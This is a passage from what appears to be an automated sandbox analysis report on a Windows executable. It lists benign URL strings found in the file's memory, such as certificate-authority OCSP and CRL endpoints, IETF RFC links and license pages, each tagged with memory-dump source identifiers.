Source: file.exe, 00000001.00000003.1722215740.00000214FFC97000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2104230165.00000214FFC8D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FFB3F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2117528067.00000214FFC92000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107937864.00000214FFC8E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2110578380.00000214FFB4A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2147301932.00000214FFC98000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103312630.00000214FFC7A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2118761418.00000214FFC92000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1721247684.00000214FFB3F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2122249938.00000214FFC94000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2111847758.00000214FFC91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535
Source: file.exe, 00000001.00000003.2109315370.00000214FF9EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107454781.00000214FF9E9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107397737.00000214FF9E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2114304497.00000214FFA2B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FF9CE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105994467.00000214FF9CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.accv.es
Source: file.exe, 00000001.00000003.2130839175.00000214FFAA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2146114251.00000214FFAB7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2106351524.00000214FFAA6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105385058.00000214FFAA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2121594121.00000214FFAA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FFAA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2111364823.00000214FFAA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2126122145.00000214FFAA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.accv.es0
Source: file.exe, 00000000.00000003.1687714832.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1698037961.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1698625559.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1691977367.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688573407.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1690618091.000001F724DCC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688385647.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688492455.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688285782.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1691733387.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1689025559.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688704118.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688025894.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688855381.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688158142.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1692299393.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1692991549.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687862228.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687289332.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687411258.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1694758534.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.1690618091.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687714832.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1698037961.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1698625559.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1691977367.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688573407.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1690618091.000001F724DCC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688385647.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688492455.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688285782.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1691733387.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1689025559.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688704118.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688025894.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688855381.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688158142.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1692299393.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1692991549.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687862228.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687289332.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687411258.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: file.exe, 00000000.00000003.1690618091.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687714832.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1698037961.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1698625559.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1691977367.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688573407.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1690618091.000001F724DCC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688385647.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688492455.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688285782.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1691733387.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1689025559.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688704118.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688025894.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688855381.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688158142.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1692299393.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1692991549.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687862228.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687289332.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687411258.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: file.exe, 00000000.00000003.1690618091.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687714832.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1698037961.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1698625559.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1691977367.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688573407.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688385647.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688492455.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688285782.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1691733387.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1689025559.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688704118.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688025894.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688855381.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688158142.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1692299393.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1692991549.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687862228.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687289332.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687411258.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1694758534.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: file.exe, 00000001.00000002.2147630243.00000214FFD80000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.2147814194.00000214FFE80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://opensource.apple.com/source/CF/CF-744.18/CFBinaryPList.c
Source: file.exe, 00000001.00000003.2110863930.00000214FF9A2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2109315370.00000214FF9EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2108877369.00000214FFA95000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2122785368.00000214FFA96000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2114732194.00000214FFA0B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107454781.00000214FF9E9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107397737.00000214FF9E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FF9CE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105994467.00000214FF9CF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2126122145.00000214FFA9A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105385058.00000214FFA91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://repository.swisssign.com/
Source: file.exe, 00000001.00000003.2109315370.00000214FF9EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2114732194.00000214FFA0B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107454781.00000214FF9E9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107397737.00000214FF9E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FF9CE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105994467.00000214FF9CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://repository.swisssign.com/0
Source: file.exe, 00000001.00000003.2123530256.00000214FF637000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2102717771.00000214FF598000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2118660997.0000021481A80000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2122134839.0000021481AAB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105574677.00000214FF5CA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2121671472.0000021481A9F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2140592282.0000021481BD1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2139836782.0000021481AAF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2120640970.0000021481A9E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2120458140.0000021481A98000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107513071.00000214FF614000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2109613829.00000214FF630000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107003138.00000214FF60E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tools.ietf.org/html/draft-hixie-thewebsocketprotocol-76
Source: file.exe, 00000001.00000003.2119974551.00000214FFA51000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2109315370.00000214FF9EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107454781.00000214FF9E9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2121180025.00000214FFA54000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107397737.00000214FF9E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2114304497.00000214FFA2B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FF9CE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105994467.00000214FF9CF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2114974733.00000214FFA44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tools.ietf.org/html/rfc4880
Source: file.exe, 00000001.00000003.2108127631.0000021481B51000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2140226897.0000021481B51000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2141476897.00000214824F8000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000003.2122464311.0000021481B51000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2123285656.0000021481B51000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2141476897.0000021482498000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000003.2102396310.0000021481B51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tools.ietf.org/html/rfc5234
Source: file.exe, 00000001.00000003.2123857047.0000021481A51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tools.ietf.org/html/rfc5869
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://tools.ietf.org/html/rfc6125#section-6.4.3
Source: file.exe, 00000001.00000003.2108127631.0000021481B51000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2140226897.0000021481B51000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2141476897.00000214824F8000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000003.2122464311.0000021481B51000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2123285656.0000021481B51000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2141476897.0000021482498000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000003.2102396310.0000021481B51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tools.ietf.org/html/rfc6455#section-5.2
Source: file.exe, 00000001.00000003.2118660997.0000021481A80000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2139780645.0000021481AA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2121671472.0000021481A9F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2120640970.0000021481A9E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2120458140.0000021481A98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.cs.ucdavis.edu/~rogaway/ocb/license.htm
Source: file.exe, 00000001.00000003.2130839175.00000214FFAA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2146114251.00000214FFAB7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2109315370.00000214FF9EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2106351524.00000214FFAA6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105385058.00000214FFAA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2121594121.00000214FFAA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FFAA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2111364823.00000214FFAA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107454781.00000214FF9E9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2126122145.00000214FFAA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107397737.00000214FF9E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2114304497.00000214FFA2B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FF9CE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105994467.00000214FF9CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt0
Source: file.exe, 00000001.00000003.2130648026.00000214FFD22000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2101914863.00000214FFD22000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2136299831.00000214FFD25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl
Source: file.exe, 00000001.00000003.2130839175.00000214FFAA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2146114251.00000214FFAB7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2106351524.00000214FFAA6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105385058.00000214FFAA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2121594121.00000214FFAA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FFAA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2111364823.00000214FFAA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2126122145.00000214FFAA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl0
Source: file.exe, 00000001.00000003.2109315370.00000214FF9EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107454781.00000214FF9E9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107397737.00000214FF9E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2114304497.00000214FFA2B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FF9CE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105994467.00000214FF9CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/legislacion_c.htm
Source: file.exe, 00000001.00000003.2130839175.00000214FFAA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2146114251.00000214FFAB7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2106351524.00000214FFAA6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105385058.00000214FFAA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2121594121.00000214FFAA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FFAA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2111364823.00000214FFAA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2126122145.00000214FFAA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/legislacion_c.htm0U
Source: file.exe, 00000001.00000003.2130839175.00000214FFAA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2146114251.00000214FFAB7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2109315370.00000214FF9EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2106351524.00000214FFAA6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105385058.00000214FFAA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2121594121.00000214FFAA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FFAA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2111364823.00000214FFAA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107454781.00000214FF9E9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2126122145.00000214FFAA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107397737.00000214FF9E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2114304497.00000214FFA2B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FF9CE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105994467.00000214FF9CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es00
Source: file.exe, 00000000.00000003.1694956909.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/
Source: file.exe, 00000000.00000003.1695286751.000001F724DD3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1694956909.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1694956909.000001F724DD2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2127856324.0000021481B05000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2118660997.0000021481A80000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2139780645.0000021481AA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2121671472.0000021481A9F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2112994189.00000214FFBDF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2104502886.00000214FFBDD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2119048801.00000214FFBE0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2118660997.0000021481AF9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2120640970.0000021481A9E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2120458140.0000021481A98000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2120314718.0000021481B03000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2110277873.00000214FFBDE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2106175292.00000214FFBDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: file.exe, 00000001.00000002.2147630243.00000214FFD80000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000003.1713395830.00000214FF60D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.apple.com/DTDs/PropertyList-1.0.dtd
Source: file.exe, 00000001.00000003.2119974551.00000214FFA51000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2109315370.00000214FF9EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2114067886.00000214FFD3F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2101914863.00000214FFD22000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107454781.00000214FF9E9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107397737.00000214FF9E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2114304497.00000214FFA2B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FF9CE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105994467.00000214FF9CF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2114974733.00000214FFA44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cert.fnmt.es/dpcs/
Source: file.exe, 00000001.00000003.2114067886.00000214FFD3F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2101914863.00000214FFD22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cert.fnmt.es/dpcs/5
Source: file.exe, 00000001.00000003.2119974551.00000214FFA51000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2109315370.00000214FF9EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107454781.00000214FF9E9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107397737.00000214FF9E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2114304497.00000214FFA2B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FF9CE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105994467.00000214FF9CF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2114974733.00000214FFA44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cert.fnmt.es/dpcs/r
Source: file.exe, 00000001.00000003.2118660997.0000021481A80000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2121671472.0000021481A9F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2120640970.0000021481A9E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2120458140.0000021481A98000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2121671472.0000021481A99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cs.ucdavis.edu/~rogaway/papers/keywrap.pdf
Source: file.exe, 00000000.00000003.1687714832.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1698037961.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1698625559.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1691977367.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688573407.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1690618091.000001F724DCC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688385647.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688492455.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688285782.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1691733387.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1689025559.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688704118.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688025894.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688855381.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 